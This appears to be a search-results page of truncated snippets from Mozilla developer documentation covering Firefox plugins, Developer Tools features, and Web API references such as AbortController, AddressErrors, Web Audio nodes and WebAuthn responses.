s-ctypes to call carbon and core foundation framework routines on mac os x to implement an "add image to iphoto" feature in firefox. using c structs and pointers using com from js-ctypes using objective-c from js-ctypes github :: ochameau / jscpptypes a mangling library to use c++ from js-ctypes community view mozilla forums... mailing list newsgroup rss feed stackoverflow - jsctypes related topics xpcom in gecko 2 - binary components ...
Blocking By Domain - Plugins
lugin block list is planned for firefox 55. effects of plugin blocking once a site is included in plugin blocking, it is not possible for that site or any subframes within that site to use plugins. any attempt to use a plugin (via the <object> or <embed> element) will behave as if the plugin was not installed, and use fallback content as specified by the html standard. plugin detection mechanisms such as navigator.mimetypes and navigator.plugins will also behave as if the plugin were not installed. there are two versions of plugin blocking: first-party plugin blocking list sites on this list may not use plugins. third-party plugin block list sites on this list may not use plugins when they are loaded into a third-party iframe in another site. criteria in order to improve firefox...
Scripting plugins - Plugins
this document also explains how to make a plugin use these new extensions to be scriptable as well as how to access objects in a browser. ...
URLs - Plugins
d on this table. url scheme description about locates browser information or "fun" pages. file (host-specific filenames) locates files on a specific host computer rather than an internet resource. ftp (file transfer protocol) locates files and directories on internet hosts for file download. gopher (gopher protocol) locates specified items on a gopher server. obsolete since gecko 2.0 http (hypertext transfer protocol) locates resources on the internet. javascript executes javascript code that follows the url. netscape-specific. mailto (electronic mail address) locates the internet mailing address of an individual or service. nethelp displays a nethelp topic in a nethelp window. browse...
Debugging service workers - Firefox Developer Tools
then fill it again. the firefox devtools’ storage tab has a cache storage section that lists all the different caches you have stored under each different origin. right/ctrl clicking on one of the caches gives you two options: delete all — delete all caches under this origin. delete "name of cache" — delete only the highlighted cache. you can also click on one of the individual items stored in the cache, then right/ctrl click on it to get options for deleting just that item, or every item in the cache. these options make it much easier to remove a cache if it is required for testing a code update. it is also worth knowing that if you are testing an app's offline capabilities, you'll be able to see whether requests are being retrieved from a service worker-initiated cache ra...
Browser Toolbox - Firefox Developer Tools
ble it you need to check the settings "enable chrome and addon debugging" and "enable remote debugging". to do this, open the developer tools settings, go to the section "advanced settings", and check the settings "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging". opening the browser toolbox open the browser toolbox through the menu button and the menu items "developer" then "browser toolbox". you can also open it with the ctrl + alt +shift + i key combination ( cmd + opt +shift + i on a mac). you will be presented with a dialog like this (it can be removed by setting the devtools.debugger.prompt-connection property to false): click ok, and the browser toolbox will open in its own window: you'll be able to inspect the browser's chrome windows a...
Access debugging in add-ons - Firefox Developer Tools
we are planning to deprecate the use by firefox add-ons of the techniques described in this document. don't write new add-ons that use these techniques. the following items are accessible in the context of chrome://browser/content/debugger.xul (or, in version 23 beta, chrome://browser/content/devtools/debugger.xul): window.addeventlistener("debugger:editorloaded") - called when the read-only script panel loaded. window.addeventlistener("debugger:editorunloaded") relevant files: chrome://browser/content/devtools/debugger-controller.js chrome://browser/content/devtools/debugger-toolbar.js chrome://browser/content/devtools/debugger-view.js chrome://browser/content/devtools/debugger-panes.js unfortunately there is not yet any api to evaluate watches/expressions within th...
Using the Debugger map scopes feature - Firefox Developer Tools
low. click jump to original location. the debugger opens the file "increment.js" so you can view the original code. notice that your breakpoint is set here in the original code as it was in the corresponding line in the "bundle.js" file. and, since map has been checked in the scopes panel, you also see variable symbols from the original code. using this feature is expensive in terms of resources, but it certainly makes your life easier when you have to debug source code that has been packaged webpack or a similar tool. ...
Debugger.Environment - Firefox Developer Tools
ce representing a debuggee frame has an associated environment object describing the variables in scope in that frame; and each debugger.object instance representing a debuggee function has an environment object representing the environment the function has closed over. ecmascript environments form a tree, in which each local environment is parented by its enclosing environment (in ecmascript terms, its ‘outer’ environment). we say an environmentbinds an identifier if that environment itself associates the identifier with a variable, independently of its outer environments. we say an identifier isin scope in an environment if the identifier is bound in that environment or any enclosing environment. spidermonkey creates debugger.environment instances as needed as the debugger inspects s...
Debugger.Object - Firefox Developer Tools
method allows debugger code to introduce temporary bindings that are visible to the given debuggee code and which refer to debugger-held debuggee values, and do so without mutating any existing debuggee environment. note that, like executeinglobal, any declarations it contains affect the referent global object, even ascode is evaluated in an environment extended according tobindings. (in the terms used by the ecmascript specification, the variableenvironment of the execution context forcode is the referent, and thebindings appear in a new declarative environment, which is the eval code’s lexicalenvironment.) theoptions argument is as for debugger.frame.prototype.eval. asenvironment() if the referent is a global object, return the debugger.environment instance representing the refer...
Dominators - Firefox Developer Tools
ccupied. reachability in modern javascript implementations, the runtime decides whether an object is no longer needed based on reachability. in this system the heap is represented as one or more graphs. each node in the graph represents an object, and each connection between nodes (edge) represents a reference from one object to another. the graph starts at a root node, indicated in these diagrams with "r". during garbage collection, the runtime traverses the graph, starting at the root, and marks every object it finds. any objects it doesn't find are unreachable, and can be deallocated. so when an object becomes unreachable (for example, because it is only referenced by a single local variable which goes out of scope) then any objects it references also become unreachable, as long as ...
Tree map view - Firefox Developer Tools
op level into four categories: objects: javascript and dom objects, such as function, object, or array, and dom types like window and htmldivelement. scripts: javascript sources loaded by the page. strings other: this includes internal spidermonkey objects. each category is represented with a rectangle, and the size of the rectangle corresponds to the proportion of the heap occupied by items in that category. this means you can quickly get an idea of roughly what sorts of things allocated by your site are using the most memory. within top-level categories: objects is further divided by the object's type. scripts is further subdivided by the script's origin. it also includes a separate rectangle for code that can't be correlated with a file, such as jit-optimized code. other is ...
Throttling - Firefox Developer Tools
upload speed minimum latency the table below lists the numbers associated with each network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions. the speeds are expressed in multiples of bits per second. ...
Network monitor recording - Firefox Developer Tools
you can pause and resume the monitoring of network traffic using the pause button. pausing and resume network traffic recording the network monitor has a button that pauses and resumes recording of the current page's network traffic. this is useful in situations where, for example, you are trying to get a stable view of a page for debugging purposes, but under normal circumstances the view keeps evolving due to persistent network requests. the pause button allows you to look at a certain snapshot. the button can be found at the far left of the main network monitor toolbar, and looks like a typical pause button — . you can see it here in context: once pressed, the button changes to a play icon, and you can toggle network traffic recording back on by pressing it again. network monit...
Animation inspector example: CSS transitions - Firefox Developer Tools
//udn.realityripple.com/samples/e6/a96484b5c3.png" class="icon"/> <span class="note">firefox developer edition</span> </div> css content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } .icon { width: 50px; height: 50px; filter: grayscale(100%); transition: transform 750ms ease-in, filter 750ms ease-in-out; } .note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; transition: opacity 500ms 150ms, width 500ms 150ms; } .icon#selected { filter: grayscale(0%); transform: scale(1.5); } .icon#selected+span { opacity: 1; width: 300px; } javascript ...
How to - Firefox Developer Tools
s grid inspector: examine grid layoutsedit css filtersedit shape paths in cssedit fontsexamine event listenersexamine and edit cssexamine and edit htmlexamine and edit the box modelinspect and select colorsopen the inspectorreposition elements in the pageselect an elementselect and highlight elementsuse the inspector apiuse the inspector from the web consoleview background imagesvisualize transformswork with animations ...
Page Inspector - Firefox Developer Tools
f the ui. you can split the rules view out into its own pane, separate from the other tabs on the css pane — this is called 3-pane mode. ...
Allocations - Firefox Developer Tools
the sidebar on the right of the marker in the waterfall view contains a link labeled "show allocation triggers". if you click this link, the devtools switches to the allocations view, and selects the region of time from the end of the last gc cycle to the start of the one you clicked on. this shows you all the allocations that collectively triggered this gc event: if you're seeing these problems, consider whether you can reduce the number or size of the allocations you're making here. for example: can you allocate memory lazily, when it is actually needed, instead of up front? if allocating memory in a loop, can you reuse a single allocation in every loop iteration? ...
Call Tree - Firefox Developer Tools
you can find it here. you can find the specific profile we discuss here - just import it to the performance tool to follow along. there's a short page describing the structure of this program here. note that we use the same program - the same profile, in fact - in the documentation page for the flame chart. the screenshot below shows the output of a program that compares three sorting algorithms - bubble sort, selection sort, and quicksort. to do this, it generates some arrays filled with random integers and sorts them using each algorithm in turn. we've zoomed into the part of the recording that shows a long javascript marker: the call tree presents the results in a table. each row represents a function in which at least one sample was taken, and the rows are ordered by the number o...
Examples - Firefox Developer Tools
list of demo pages for performance scenarios and walkthroughs. sorting algorithms comparison ...
Performance - Firefox Developer Tools
ith your site. flame chart see which javascript functions are executing, and when, over the course of the recording. scenarios animating css properties uses the waterfall to understand how the browser updates a page, and how animating different css properties can affect performance. intensive javascript uses the frame rate and waterfall tools to highlight performance problems caused by long-running javascript, and how using workers can help in this situation. ...
Remote Debugging - Firefox Developer Tools
the detailed instructions for connecting the developer tools are specific to the runtime. ...
Local Storage / Session Storage - Firefox Developer Tools
when an origin corresponding to local storage or session storage is selected within the storage inspector, the names and values of all the items corresponding to local storage or session storage will be listed in a table. you can edit local and session storage items by double-clicking inside cells in the table widget and editing the values they contain: you can delete local storage and session storage entries using the context menu: you can also delete local and session storage entries by selecting an item and pressing the delete or backspace key. finally, you can add new storage items by clicking the "plus" (+) button and then editing the resulting new row to the value you want. ...
Web Audio Editor - Firefox Developer Tools
, which changes the pitch and volume of a sine wave as you move the mouse pointer visualizing the graph the web audio editor will now display the graph for the loaded audio context. here's the graph for the violent theremin demo: you can see that it uses three nodes: an oscillatornode as the source, a gainnode to control the volume, and an gainnode as the destination. connections to audioparams displaying connections to audioparams is new in firefox 34. connections between nodes are displayed as solid lines. if, instead, you've connected a node to an audioparam in another node, then the connection is shown as a dashed line between the nodes, and is labeled with the name of the audioparam: inspecting and modifying audionodes if you click on a node, it's highlighted and you get a no...
Firefox Developer Tools
age or of a single element. measure a portion of the page measure a specific area of a web page. rulers overlay horizontal and vertical rulers on a web page for the latest developer tools and features, try firefox developer edition. download firefox developer edition connecting the developer tools if you open the developer tools using keyboard shortcuts or the equivalent menu items, they'll target the document hosted by the currently active tab. but you can attach the tools to a variety of other targets, too, both within the current browser and in different browsers or even different devices. about:debugging debug add-ons, content tabs, and workers running in the browser. connecting to firefox for android connect the developer tools to an instance of firefox running ...
AbortController.abort() - Web APIs
syntax controller.abort(); parameters none. return value void. examples in the following snippet, we aim to download a video using the fetch api. we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property. ...
AbortController - Web APIs
ct. constructor abortcontroller() creates a new abortcontroller object instance. properties abortcontroller.signal read only returns a abortsignal object instance, which can be used to communicate with/abort a dom request. methods abortcontroller.abort() aborts a dom request before it has completed. this is able to abort fetch requests, consumption of any response body, and streams. examples in the following snippet, we aim to download a video using the fetch api. we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). th...
AddressErrors.addressLine - Web APIs
ress finds one or more errors in the array of strings in the address's addressline. the returned string explains the error and should offer suggestions for how to correct it. syntax var addresslineerror = addresserrors.addressline; value if an error occurred during validation of the address due to one of the strings in the addressline array having an invalid value, this property is set to a domstring providing a human-readable error message explaining the validation error. the text should also include, when possible, advice about how to go about correcting the error. if the paymentaddress object's addressline property was determined to be valid, this property is not included in the addresserrors dictionary. specifications specification status comment payment r...
AddressErrors.city - Web APIs
ased on addresserrors includes a city property when validation of the address fails for the value given for the address's city property. the returned string explains the error and should offer suggestions for how to correct it. syntax var cityerror = addresserrors.city; value if the value specified in the paymentaddress object's city property could not be validated, this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it. if the city value was validated successfully, this property is not included in the addresserrors object. specifications specification status comment payment request apithe definition of 'addresserrors.city' in that specification. candidate recommendation in...
AddressErrors.country - Web APIs
ntry property if during validation of the address the specified value of country was determined to be invalid. the value is a string describing the error and should offer suggestions for how to correct it. syntax var countryerror = addresserrors.country; value if an error occurred during validation of the address due to the country property having an invalid value, this property is set to a domstring providing a human-readable error message explaining the validation error. the text should also include, when possible, advice about how to go about correcting the error. if the paymentaddress object's country property was determined to be valid, this property is not included in the dictionary. specifications specification status comment payment request apithe defi...
AddressErrors.dependentLocality - Web APIs
includes a dependentlocality property when the address's dependentlocality property couldn't be validated. the returned string explains the error and should offer suggestions for how to correct it. syntax var localityerror = addresserrors.dependentlocality; value if the value specified in the paymentaddress object's dependentlocality property could not be validated, this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it. if the dependentlocality value was validated successfully, this property is not included in the addresserrors object. specifications specification status comment payment request apithe definition of 'addresserrors.dependentlocality' in that specification. cand...
AddressErrors.languageCode - Web APIs
ed on addresserrors includes a languagecode property when the address's languagecode property couldn't be validated. the returned string explains the error and should offer suggestions for how to correct it. syntax var languageerror = addresserrors.languagecode; value if the value specified in the paymentaddress object's languagecode property could not be validated, this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it. this validation might be as simple as ensuring the text of the string is compliant with the syntax defined in bcp-47, or as detailed as actually verifying that the specified string matches a value from a database. if the languagecode value was validated successfully, this property is not...
AddressErrors.organization - Web APIs
addresserrors includes an organization property when the address's organization property couldn't be validated. the returned string explains the error and should offer suggestions for how to correct it. syntax var organizationerror = addresserrors.organization; value if the value specified in the paymentaddress object's organization property could not be validated, this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it. for example, if validation simply ensures that only permitted characters are included in the organization's name, this might return a string such as "the organization name may only contain the letters a-z, digits, spaces, and commas." if the organization value was validated successfully,...
AddressErrors.phone - Web APIs
an object based on addresserrors includes a phone property when the address's phone property couldn't be validated. the returned string explains the error and should offer suggestions for how to correct it. syntax var phoneerror = addresserrors.phone; value if the value specified in the paymentaddress object's phone property could not be validated, this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it. if the phone value was validated successfully, this property is not included in the addresserrors object. specifications specification status comment payment request apithe definition of 'addresserrors.phone' in that specification. candidate recommendation initial definitio...
AddressErrors.postalCode - Web APIs
object based on addresserrors includes a postalcode property when the address's postalcode property couldn't be validated. the returned string explains the error and should offer suggestions for how to correct it. syntax var postcodeerror = addresserrors.postcode; value if the value specified in the paymentaddress object's postalcode property could not be validated, this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it. if the postalcode value was validated successfully, this property is not included in the addresserrors object. specifications specification status comment payment request apithe definition of 'addresserrors.postalcode' in that specification. candidate recommen...
AddressErrors.recipient - Web APIs
object based on addresserrors includes a recipient property when the address's recipient property couldn't be validated. the returned string explains the error and should offer suggestions for how to correct it. syntax var recipienterror = addresserrors.recipient; value if the value specified in the paymentaddress object's recipient property could not be validated, this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it. if the recipient value was validated successfully, this property is not included in the addresserrors object. specifications specification status comment payment request apithe definition of 'addresserrors.recipient' in that specification. candidate recommenda...
AddressErrors.region - Web APIs
an object based on addresserrors includes a region property when the address's region property couldn't be validated. the returned string explains the error and should offer suggestions for how to correct it. syntax var regionerror = addresserrors.region; value if the value specified in the paymentaddress object's region property could not be validated, this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it. if the region value was validated successfully, this property is not included in the addresserrors object. specifications specification status comment payment request apithe definition of 'addresserrors.region' in that specification. candidate recommendation initial de...
AddressErrors.regionCode - Web APIs
ct based on addresserrors includes a regioncode property when the address's regioncode property couldn't be validated. the returned string explains the error and should offer suggestions for how to correct it. syntax var regioncodeerror = addresserrors.regioncode; value if the value specified in the paymentaddress object's regioncode property could not be validated, this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it. if the regioncode value was validated successfully, this property is not included in the addresserrors object. usage notes the region code is derived from the iso 3166-2 country subdivision name standard. specifications specification status comment payment requ...
AddressErrors.sortingCode - Web APIs
sed on addresserrors includes a sortingcode property when the address's sortingcode property couldn't be validated. the returned string explains the error and should offer suggestions for how to correct it. syntax var sortingcodeerror = addresserrors.sortingcode; value if the value specified in the paymentaddress object's sortingcode property could not be validated, this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it. if the sortingcode value was validated successfully, this property is not included in the addresserrors object. specifications specification status comment payment request apithe definition of 'addresserrors.sortingcode' in that specification. candidate recomm...
AnalyserNode.smoothingTimeConstant - Web APIs
= newvalue; value a double within the range 0 to 1 (0 meaning no time averaging). the default value is 0.8. if 0 is set, there is no averaging done, whereas a value of 1 means "overlap the previous and current buffer quite a lot while computing the value", which essentially smoothes the changes across analysernode.getfloatfrequencydata/analysernode.getbytefrequencydata calls. in technical terms, we apply a blackman window and smooth the values over time. the default value is good enough for most cases. note: if a value outside the range 0–1 is set, an index_size_err exception is thrown. example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargr...
Animation.id - Web APIs
Web › API › Animation › id
the animation.id property of the web animations api returns or sets a string used to identify the animation. syntax var animationsid = animation.id; animation.id = newidstring; value a domstring which can be used to identify the animation, or null if the animation has no id. examples in the follow the white rabbit example, you can assign the rabbitdownanimation an id like so: rabbitdownanimation.effect.id = "rabbitgo"; specifications specification status comment web animationsthe definition of 'animation.id' in that specification. working draft editor's draft. ...
Animation.playState - Web APIs
ple in the growing/shrinking alice game example, players can get an ending with alice crying into a pool of tears. in the game, for performance reasons, the tears should only be animating when they're visible. so they must be paused as soon as they are animated like so: // setting up the tear animations tears.foreach(function(el) { el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: 'cubic-bezier(0.6, 0.04, 0.98, 0.335)' }); el.pause(); }); // play the tears falling when the ending needs to be shown. tears.foreach(function(el) { el.play(); }); // reset the crying tears animations and pause them. tears...
AnimationEvent.animationName - Web APIs
the animationevent.animationname read-only property is a domstring containing the value of the animation-name css property associated with the transition. syntax name = animationevent.animationname specifications specification status comment css animationsthe definition of 'animationevent.animationname' in that specification. working draft initial definition. ...
AnimationEvent.pseudoElement - Web APIs
if the animation doesn't run on a pseudo-element but on the element, an empty string: ''. ...
AnimationPlaybackEvent.AnimationPlaybackEvent() - Web APIs
eventinitdict optional an optional eventinit dictionary object containing the following fields: bubbles optional defaults to false, of type boolean, indicating if the event bubbles or not. ...
Attr - Web APIs
Web › API › Attr
text { fill: #0095dd; pointer-events: all;} warning: starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), a number of deprecated properties and methods output warning messages to the console. you should revise your code accordingly. see deprecated properties and methods for a complete list. properties name read only the attribute's name. namespaceuri read only a domstring representing the namespace uri of the attribute, or null if there is no namespace. localname read only a domstring representing the local part of the qualified name of the attribute. prefix read only a domstring representing the namespace prefix of the attribute, or null if no prefix is specified. ownerelement read only the element holding the attribute. note: dom level 4 remo...
AudioContext - Web APIs
ds also inherits methods from its parent interface, baseaudiocontext. audiocontext.close() closes the audio context, releasing any system audio resources that it uses. audiocontext.createmediaelementsource() creates a mediaelementaudiosourcenode associated with an htmlmediaelement. this can be used to play and manipulate audio from <video> or <audio> elements. audiocontext.createmediastreamsource() creates a mediastreamaudiosourcenode associated with a mediastream representing an audio stream which may come from the local computer microphone or other sources. audiocontext.createmediastreamdestination() creates a mediastreamaudiodestinationnode associated with a mediastream representing an audio stream which may be stored in a local file or sent to another computer. audiocontext.c...
AudioListener.dopplerFactor - Web APIs
...
AudioListener.forwardX - Web APIs
specifications specification status comment web audio apithe definition of 'forwardx' in that specification. working draft...
AudioListener.forwardY - Web APIs
specifications specification status comment web audio apithe definition of 'forwardy' in that specification. working draft...
AudioListener.forwardZ - Web APIs
specifications specification status comment web audio apithe definition of 'forwardz' in that specification. working draft...
AudioListener.positionX - Web APIs
specifications specification status comment web audio apithe definition of 'positionx' in that specification. working draf...
AudioListener.positionY - Web APIs
specifications specification status comment web audio apithe definition of 'positiony' in that specification. working draf...
AudioListener.positionZ - Web APIs
specifications specification status comment web audio apithe definition of 'positionz' in that specification. working draf...
AudioListener.setPosition() - Web APIs
parameters x the x position of the listener in 3d space. y the y position of the listener in 3d space. z the z position of the listener in 3d ...
AudioListener.speedOfSound - Web APIs
...
AudioListener.upX - Web APIs
Web › API › AudioListener › upX
specifications specification status comment web audio apithe definition of 'upx' in that specification. working draft ...
AudioListener.upY - Web APIs
Web › API › AudioListener › upY
specifications specification status comment web audio apithe definition of 'upy' in that specification. working draft ...
AudioListener.upZ - Web APIs
Web › API › AudioListener › upZ
specifications specification status comment web audio apithe definition of 'upz' in that specification. working draft ...
AudioNode - Web APIs
Web › API › AudioNode
one varies from one audionode to another but, in general, a node reads its inputs, does some audio-related processing, and generates new values for its outputs, or simply lets the audio pass through (for example in the analysernode, where the result of the processing is accessed separately). the more nodes in a graph, the higher the latency will be. for example, if your graph has a latency of 500ms, when the source node plays a sound, it will take half a second until that sound can be heard on your speakers (or even longer because of latency in the underlying audio device). therefore, if you need to have interactive audio, keep the graph as small as possible, and put user-controlled audio nodes at the end of a graph. for example, a volume control (gainnode) should be the last node so that v...
AudioParam.setValueCurveAtTime() - Web APIs
n a double representing the total time (in seconds) over which the parameter's value will change following the specified curve. the specified values are spaced equally along this duration. return value a reference to this audioparam object. some older browser implementations of this interface return undefined. exceptions invalidstateerror the specified array of values has fewer than 2 items in it. rangeerror the specified starttime is either negative or a non-finite value, or duration is not a finite, strictly positive number. typeerror one or more of the values in the values array is non-finite. non-finite values are nan, infinity, and -infinity. usage notes when the parameter's value finishes following the curve, its value is guaranteed to match the last value in the set of...
AudioParamMap - Web APIs
properties the audioparammap object is accessed as a map in which each parameter is identified by a name string which is mapped to an audioparam containing the value of that parameter. ...
AudioProcessingEvent - Web APIs
e august 29 2014 web audio api spec publication, this feature has been marked as deprecated, and is soon to be replaced by audioworklet. properties the list below includes the properties inherited from its parent, event. property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean does the event normally bubble? cancelable read only boolean is it possible to cancel the event? playbacktime read only double the time when the audio will be played, as defined by the time of audiocontext.currenttime inputbuffer read only audiobuffer the buffer containing the inpu...
AudioTrack.id - Web APIs
Web › API › AudioTrack › id
ins a string which uniquely identifies the track represented by the audiotrack. this id can be used with the audiotracklist.gettrackbyid() method to locate a specific track within the media associated with a media element. the track id can also be used as the fragment of a url that loads the specific track (if the media supports media fragments). syntax var trackid = audiotrack.id; value a domstring which identifies the track, suitable for use when calling gettrackbyid() on an audiotracklist such as the one specified by a media element's audiotracks property. specifications specification status comment html living standardthe definition of 'audiotrack.id' in that specification. living standard html5the definition of 'audiotrack.id' in tha...
AudioTrack.kind - Web APIs
Web › API › AudioTrack › kind
the kind property contains a string indicating the category of audio contained in the audiotrack. the kind can be used to determine the scenarios in which specific tracks should be enabled or disabled. see audio track kind strings for a list of the kinds available for audio tracks. syntax var trackkind = audiotrack.kind; value a domstring specifying the type of content the media represents. the string is one of those found in audio track kind strings below. audio track kind strings the kinds available for audio tracks are: "alternative" a potential alternative to the main track, such as a different audio take or a version of the soundtrack with only the music and no dialogue. "descriptions" an audio track providing audible descriptions of the action depicted in a video track. "...
AudioTrack.label - Web APIs
Web › API › AudioTrack › label
otherwise, an empty string ("") is returned. for example, a track whose kind is "commentary" might have a label such as "commentary with director mark markmarkimark and star donna donnalidon". ...
AudioTrack.language - Web APIs
the read-only audiotrack property language returns a string identifying the language used in the audio track. for tracks that include multiple languages (such as a movie in english in which a few lines are spoken in other languages), this should be the video's primary language. syntax var audiotracklanguage = audiotrack.language; value a domstring specifying the bcp 47 (rfc 5646) format language tag of the primary language used in the audio track, or an empty string ("") if the language is not specified or known, or if the track doesn't contain speech. for example, if the primary language used in the track is united states english, this value would be "en-us". for brazilian portuguese, the value would be "pt-br". example this example locates all of a media element's primary language ...
AudioTrackList.getTrackById() - Web APIs
return value an audiotrack object indicating the first track found within the audiotracklist whose id matches the specified string. ...
AudioWorkletNode.parameters - Web APIs
letprocessor according to its parameterdescriptors static getter. syntax audioworkletnodeinstance.parameters value the audioparammap object containing audioparam instances. they can be automated in the same way as with default audionodes, and their calculated values can be used in the process method of your audioworkletprocessor. examples to demonstrate creation and usage of custom audioparams, we'll expand the example from audioworkletnode page. there we've created a simple node which outputs white noise. here, additionally, we'll create a custom gain parameter, so we can directly change volume of the output (although you could use gainnode to achieve this as well). first, we need to define a custom audioworkletprocessor, and register it. note that this should be done in a separate f...
AuthenticatorAttestationResponse.getTransports() - Web APIs
nticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed). ...
AuthenticatorAttestationResponse - Web APIs
transport methods (e.g. usb, nfc) are believed to be supported with the authenticator. the array may be empty if the information is not available. ...
AuthenticatorResponse.clientDataJSON - Web APIs
rty's id to be a suffix of this value. tokenbindingid optional an object describing the state of the token binding protocol for the communication with the relying party. it has two properties: status: a string which is either "supported" which indicates the client support token binding but did not negotiate with the relying party or "present" when token binding was used already id: a domstring which is the base64url encoding of the token binding id which was used for the communication. should this property be absent, it would indicate that the client does not support token binding. examples function arraybuffertostr(buf) { return string.fromcharcode.apply(null, new uint8array(buf)); } // pk is a publickeycredential that is the result of a create() or get() promise va...
AuthenticatorResponse - Web APIs
ver // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); getting an authenticatorattestationresponse var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credential...
BaseAudioContext.createBiquadFilter() - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.setvalueattime(1000, audioctx.currenttime); biquadfilter.gain.setvalueattime(25, audioctx.currenttime); ...
BaseAudioContext.createBuffer() - Web APIs
annels an integer representing the number of channels this buffer should have. the default value is 1, and all user agents must support at least 32 channels. length an integer representing the size of the buffer in sample-frames (where each sample-frame is the size of a sample in bytes multiplied by numofchannels). to determine the length to use for a specific number of seconds of audio, use numseconds * samplerate. samplerate the sample rate of the linear audio data in sample-frames per second. all browsers must support sample rates in at least the range 8,000 hz to 96,000 hz. returns an audiobuffer configured based on the specified options. exceptions notsupportederror one or more of the options are negative or otherwise has an invalid value (such as numberofchannels being hig...
BaseAudioContext.createGain() - Web APIs
mute.onclick = voicemute; function voicemute() { if(mute.id == "") { // 0 means mute. if you still hear someth...
BaseAudioContext.createPanner() - Web APIs
specifications specification status comment web audio apithe definition of 'createpanner()' in that specification. working...
BaseAudioContext.state - Web APIs
possible values are: suspended: the audio context has been suspended (with the audiocontext.suspend() method.) running: the audio context is running normally. closed: the audio context has been closed (with the audiocontext.close() method.) example the following snippet is taken from our audiocontext states demo (see it running live.) the audiocontext.onstatechange hander is used to log the current state to the console every time it changes. ...
BaseAudioContext - Web APIs
xt.decodeaudiodata when it successfully decodes an audio track. baseaudiocontext.createconstantsource() creates a constantsourcenode object, which is an audio source that continuously outputs a monaural (one-channel) sound signal whose samples all have the same value. baseaudiocontext.createchannelmerger() creates a channelmergernode, which is used to combine channels from multiple audio streams into a single audio stream. baseaudiocontext.createchannelsplitter() creates a channelsplitternode, which is used to access the individual channels of an audio stream and process them separately. baseaudiocontext.createconvolver() creates a convolvernode, which can be used to apply convolution effects to your audio graph, for example a reverberation effect. baseaudiocontext.createdelay() cr...
BasicCardRequest.supportedTypes - Web APIs
the obsolete supportedtypes property of the basiccardrequest dictionary can optionally be provided to specify an array of domstrings representing the card types that the retailer supports (e.g. credit, debit, prepaid). this property is obsolete and should no longer be used. instead of making the web app or site worry about this, the onus has been transferred to the payment processor. syntax basiccardrequest.supportedtypes = [cardtype1...cardtypen]; value an array containing one or more domstrings, which describe the card types the retailer supports. legal values are defined in basiccardtype enum, and are currently: credit debit prepaid example the following example shows a sample definition of the first parameter of the paymentrequest() constructor, the data property of whic...
BiquadFilterNode.Q - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.type = "peaking"; biquadfilter.frequency.value...
BiquadFilterNode.detune - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.detune.value = 100; specifications ...
BiquadFilterNode.frequency - Web APIs
